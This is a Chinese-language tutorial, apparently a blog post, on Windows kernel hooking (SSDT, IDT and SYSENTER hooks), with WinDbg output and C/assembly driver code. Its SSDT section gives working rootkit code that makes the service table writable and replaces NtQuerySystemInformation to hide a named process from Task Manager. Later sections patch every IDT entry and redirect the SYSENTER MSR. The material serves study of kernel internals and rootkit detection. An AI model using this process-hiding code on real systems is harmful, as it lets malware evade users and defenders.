内核模式Hook(一)
上回提到过,用户模式Hook功能有限,而且容易被发现。到了ring0,Hook仍然是很多技术的基础。这里简单介绍几种常见的内核hook:SSDT Hook、IDT Hook、SYSENTER Hook、IAT Hook、导出表Hook、IRP Hook、Inline Hook和几种门的添加。这并不是很严格的分类方式,各种技术也可能会交叉灵活使用。
SSDT Hook
系统服务调度程序KiSystemService利用传入的函数ID号,在SSDT即系统服务调度表,定位函数内存地址;和SSDT相关的另一个表是SSPT,系统服务参数表,指定每个函数的参数信息。KeServiceDescriptorTable是内核导出的全局变量,包括了指向上述两个表的指针以及系统服务个数。
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBae;
} SSDT_ENTRY;
#pragma pack()
__declspec(dllimport) SSDT_ENTRY KeServiceDescriptorTable;
SSDT所在地址是只读的,所以需要进行权限修改,可以将CR0中的写保护位删除,也可以使用MDL,这里介绍MDL(内存描述符表)。MDL用于描述一块内存区域,包括它的起始地址、大小、所属进程等。
lkd> dt _mdl
nt!_MDL
+0x000 Next : Ptr32 _MDL
+0x004 Size : Int2B
+0x006 MdlFlags : Int2B
+0x008 Process : Ptr32 _EPROCESS
+0x00c MappedSystemVa : Ptr32 Void
+0x010 StartVa : Ptr32 Void
+0x014 ByteCount : Uint4B
+0x018 ByteOffset : Uint4B
只要将内存标志的MDL_MAPPED_TO_SYSTEM_VA设置为1,就可以对该内存区域进行写操作,所以经典的利用MDL修改内存属性操作如下:
NTSTATUS MAKEMyMDL()
{
MyMDL = MmCreateMdl(
NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if (!MyMDL) return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(MyMDL);
MyMDL-> MdlFlags |= MDL_MAPPED_TO_SYSTEM_VA;
NewServiceDescriptorTable = MmMapLockedPages(MyMDL, KernelMode);
return STATUS_SUCCESS;
}
这样就可以修改NewServiceDescriptorTable来修改原来SSDT中的函数,这里我们利用SSDT Hook函数NtQuerySystemInformation来隐藏进程。NtQuerySystemInformation实际上是由ZwQuerySystemInformation调用的,而Zw*函数都很有特点,看一下:
lkd> uf ZwQuerySystemInformation
nt!ZwQuerySystemInformation:
804ffb2c b8ad000000 mov eax,0ADh
804ffb31 8d542404 lea edx,[esp+4]
804ffb35 9c pushfd
804ffb36 6a08 push 8
804ffb38 e8e4e90300 call nt!KiSystemService (8053e521)
804ffb3d c21000 ret 10h
这个函数开头第2个字节就是对应的Nt同名函数在SSDT中的索引:
lkd> dd KeServiceDescriptorTable
805540a0 80502bbc 00000000 0000011c 80503030
805540b0 00000000 00000000 00000000 00000000
805540c0 00000000 00000000 00000000 00000000
805540d0 00000000 00000000 00000000 00000000
805540e0 00002710 bf80c0b6 00000000 00000000
805540f0 f8b97a80 f80adb60 822fd348 806e3f40
80554100 00000000 00000000 45ccb1e0 00000380
80554110 bffafa20 01cf60e4 00000000 00000000
lkd> dds 80502bbc l(AD+1)
80502bbc 8059aa74 nt!NtAcceptConnectPort
80502bc0 805e8820 nt!NtAccessCheck
80502bc4 805ec066 nt!NtAccessCheckAndAuditAlarm
80502bc8 805e8852 nt!NtAccessCheckByType
编号从0开始,所以需要AD+1项
80502e60 8060cd6c nt!NtQuerySemaphore
80502e64 805ba96e nt!NtQuerySymbolicLinkObject
80502e68 8060e5be nt!NtQuerySystemEnvironmentValue
80502e6c 8060e586 nt!NtQuerySystemEnvironmentValueEx
80502e70 806095a8 nt!NtQuerySystemInformation
所以有几个宏可以方便的进行Hook和Unhook,其中利用了InterlockedExchange原子交换函数。
#define SYSTEMSERVICE(func) \
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)func + 1)]
#define SYSTEMINDEX(func) \
*(PULONG)((PUCHAR)func + 1)
#define HOOKFUNC(func, new, old) \
old = (PVOID)InterlockedExchange( (PULONG) \
&NewServiceDescriptorTable[SYSTEMINDEX(func)], (ULONG)new)
#define UNHOOKFUNC(func, old) \
InterlockedExchange( (PULONG) \
&NewServiceDescriptorTable[SYSTEMINDEX(func)], (ULONG)old)
ZwQuerySystemInformation可以查询很多进程信息,包括链接了所有进程的一个LIST。只要将SSDT中该函数的地址替换成我们自己的函数地址,然后先调用原本的NtQuerySystemInformation得到进程信息,再进行处理后返回,达到隐藏进程的目的。用到的一些参数需要自己定义。部分代码如下:
NTSTATUS NewFunc(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS status;
status = OldFunc(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if (NT_SUCCESS(status))
{
if (SystemInformationClass == 5)
{
PSYSTEM_PROCESSES now = (PSYSTEM_PROCESSES)SystemInformation;
PSYSTEM_PROCESSES prev = NULL;
while (now)
{
if (memcmp(now-> ProcessName.Buffer, L"notepad.exe", now-> ProcessName.Length) == 0)
{
UserTime.QuadPart += now-> UserTime.QuadPart;
KernelTime.QuadPart += now-> KernelTime.QuadPart;
if (prev)
{
if (now-> NextEntryDelta)
prev-> NextEntryDelta += now-> NextEntryDelta;
else
prev-> NextEntryDelta = 0;
}
else
{
if (now-> NextEntryDelta)
(char*)SystemInformation += now-> NextEntryDelta;
else
SystemInformation = NULL;
}
}
else if (now-> ProcessName.Buffer == NULL)
{
now-> UserTime.QuadPart += UserTime.QuadPart;
now-> KernelTime.QuadPart += KernelTime.QuadPart;
}
prev = now;
if (now-> NextEntryDelta) (char*)now += now-> NextEntryDelta;
else now = NULL;
}
}
else if (SystemInformationClass == 8)
{
PSYSTEM_PROCESSOR_TIMES times = (PSYSTEM_PROCESSOR_TIMES)SystemInformation;
times-> IdleTime.QuadPart += UserTime.QuadPart + KernelTime.QuadPart;
}
}
return status;
}
这样打开notpad然后再打开任务管理器,发现notepad被隐藏。
IDT Hook
IDT即中断描述符表,用于处理中断。当中断发生时系统在IDT中查找中断处理函数的地址。IDT在内存中的地址由寄存器IDTR保存,SIDT指令可以读取IDTR的内容,返回一个结构体:
typedef struct _IDTINFO
{
WORD IDTLimit;
WORD LowIDTBase;
WORD HiIDTBase;
} IDTINFO;
表示IDT的地址和范围,IDT中的每一项也是一个特殊的结构体类型:
#pragma pack(1)
typedef struct _IDTENTRY
{
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5;
unsigned char DPL:2;
unsigned char P:1;
WORD HiOffset;
} IDTENTRY;
#pragma pack()
包含中断处理程序的地址、是否有效(P位)以及描述符权限级DPL。系统处理中断时会对RPL、DPL和CPL进行一系列判断,决定是否可以执行该中断函数。可以在windbg中查看IDT的信息:
lkd> !pcr
KPCR for Processor 0 at ffdff000:
Major 1 Minor 1
NtTib.ExceptionList: b1be3c7c
NtTib.StackBase: b1be3df0
NtTib.StackLimit: b1be1000
NtTib.SubSystemTib: 00000000
NtTib.Version: 00000000
NtTib.UserPointer: 00000000
NtTib.SelfTib: 7ffde000
SelfPcr: ffdff000
Prcb: ffdff120
Irql: 00000000
IRR: 00000000
IDR: ffffffff
InterruptMode: 00000000
IDT: 8003f400
GDT: 8003f000
TSS: 80042000
CurrentThread: 8203d4b8
NextThread: 00000000
IdleThread: 80553840
DpcQueue:
lkd> dqs 8003f400
8003f400 80538e00`0008f23c
8003f408 80538e00`0008f3b4
8003f410 00008500`0058113e
8003f418 8053ee00`0008f784
8003f420 8053ee00`0008f904
8003f428 80538e00`0008fa60
8003f430 80538e00`0008fbd4
8003f438 80548e00`0008023c
8003f440 00008500`00501198
8003f448 80548e00`00080660
8003f450 80548e00`00080780
8003f458 80548e00`000808c0
8003f460 80548e00`00080b1c
8003f468 80548e00`00080e00
8003f470 80548e00`00081508
8003f478 80548e00`00081838
lkd> u 8053f23c
nt!KiTrap00:
8053f23c 6a00 push 0
8053f23e 66c74424020000 mov word ptr [esp+2],0
8053f245 55 push ebp
8053f246 53 push ebx
8053f247 56 push esi
8053f248 57 push edi
8053f249 0fa0 push fs
8053f24b bb30000000 mov ebx,30h
IDT Hook就是要更改每个IDT项的地址偏移。这里Hook IDT之后可以统计每个ISR被调用的次数,使用了一个函数模板,对不同的IDT项替换掉某些信息。
IDTINFO IdtInfo;
IDTENTRY *IdtEntries;
DWORD old[256];
DWORD count[256];
BYTE* tables;
#define MIN_IDT 0
#define MAX_IDT 0xFF
char template[] = {
0x90, //nop, debug
0x60, //pushad
0x9C, //pushfd
0xB8, 0xAA, 0x00, 0x00, 0x00, //mov eax, AAh
0x50, //push eax
0x9A, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00, //call 08:44332211h
0x58, //pop eax
0x9D, //popfd
0x61, //popad
0xEA, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00 //jmp 08:44332211h
};
void __stdcall NewISR(DWORD nouse)
{
unsigned long *index;
unsigned long i;
__asm mov eax,[ebp+0Ch]
__asm mov i, eax
i = i & 0xFF;
index = &count[i];
InterlockedIncrement(index);
}
void HookIDT()
{
int i, offset = 0;
char* entry;
for (i = MIN_IDT; i < MAX_IDT; i++)
{
old[i] = MAKELONG(IdtEntries[i].LowOffset, IdtEntries[i].HiOffset);
entry = tables + offset;
memcpy(entry, template, sizeof(template));
entry[4] = (BYTE)i;
*((DWORD*)(&entry[10])) = (DWORD)NewISR;
*((DWORD*)(&entry[20])) = (DWORD)old[i];
__asm cli
IdtEntries[i].LowOffset = (WORD)entry;
IdtEntries[i].HiOffset = (WORD)((DWORD)entry > > 16);
__asm sti
offset += sizeof(template);
}
}
SYSENTER Hook
sysenter指令实现用户模式快速调用系统调度函数,代替了以前的int 2e中断。SYSENTER利用一组特殊的寄存器MSR实现用户模式向内核模式切换,IA32_SYSENTER_EIP保存了切换之后调用的地址,该寄存器编号是0x176,使用rdmsr和wrmsr可以读写MSR寄存器。
lkd> rdmsr 0x176
msr[176] = 00000000`8053e5e0
lkd> u 8053e5e0
nt!KiFastCallEntry:
8053e5e0 b923000000 mov ecx,23h
8053e5e5 6a30 push 30h
8053e5e7 0fa1 pop fs
8053e5e9 8ed9 mov ds,cx
8053e5eb 8ec1 mov es,cx
8053e5ed 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h]
8053e5f3 8b6104 mov esp,dword ptr [ecx+4]
8053e5f6 6a23 push 23h
VOID Unload(PDRIVER_OBJECT driver )
{
_asm
{
mov ecx, 0x176
xor edx,edx
mov eax, Old
wrmsr
}
}
__declspec(naked) MyKiFastCallEntry()
{
_asm jmp [OldFunc]
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, IN PUNICODE_STRING szReg )
{
driver-> DriverUnload = Unload;
_asm {
mov ecx, 0x176
rdmsr
mov Old, eax
mov eax, MyKiFastCallEntry
wrmsr
}
return STATUS_SUCCESS;
}